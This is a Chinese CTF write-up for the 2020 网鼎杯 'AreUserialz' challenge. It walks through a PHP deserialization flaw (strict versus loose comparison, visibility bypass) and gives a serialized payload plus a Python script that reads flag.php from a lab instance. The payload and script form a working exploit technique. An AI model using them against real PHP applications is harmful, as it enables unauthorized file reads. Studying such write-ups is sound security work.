网鼎杯2020-AreUserialz(14pt)

网鼎杯2020-AreUserialz(14pt)

这次的网鼎杯,不多说了,自己太菜了,大佬们tql

首先审计一波代码

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

首先看了整体,看到file_get_contents这个敏感函数,所以肯定是拿它来读取flag.php

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

再看看read函数在哪里被调用了,在process函数里面

  public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

所以这里我们要使op这个变量为2,而进行read函数之前就会调用__destruct方法,所以我们需要绕过__destruct方法

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

可以看到这里是全等
ps:===完全等于运算,不仅比较值,而且还比较值的类型,只有两者一致才为真。
所以我们可以使用2==="2"来绕过
php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了(看dalao’s blog学到的)这里就可以绕过is_vaild()函数(这个函数是判断字符的ascii码是否在32<x<125之间),所以protect定义的变量,利用这个特性就可以绕过
所以payload:

<?php

class FileHandler {
 	public $op;
 	public $filename;
 	public $content;   
}
$obj = new FileHandler();
$obj->op=2;
$obj->filename='flag.php';
$obj->content='ro4lsc';
echo serialize($obj);

序列化结果为:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"ro4lsc";}

最后还是写了个python脚本获取flag方便快捷

import requests
url = "http://29f80d5f-e1b3-4f0e-af9d-e3afca3e1da4.node3.buuoj.cn/?str="
payload = 'O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"ro4lsc";}'
res = requests.get(url+payload)
print(res.text)
©️2020 CSDN 皮肤主题: 撸撸猫 设计师:设计师小姐姐 返回首页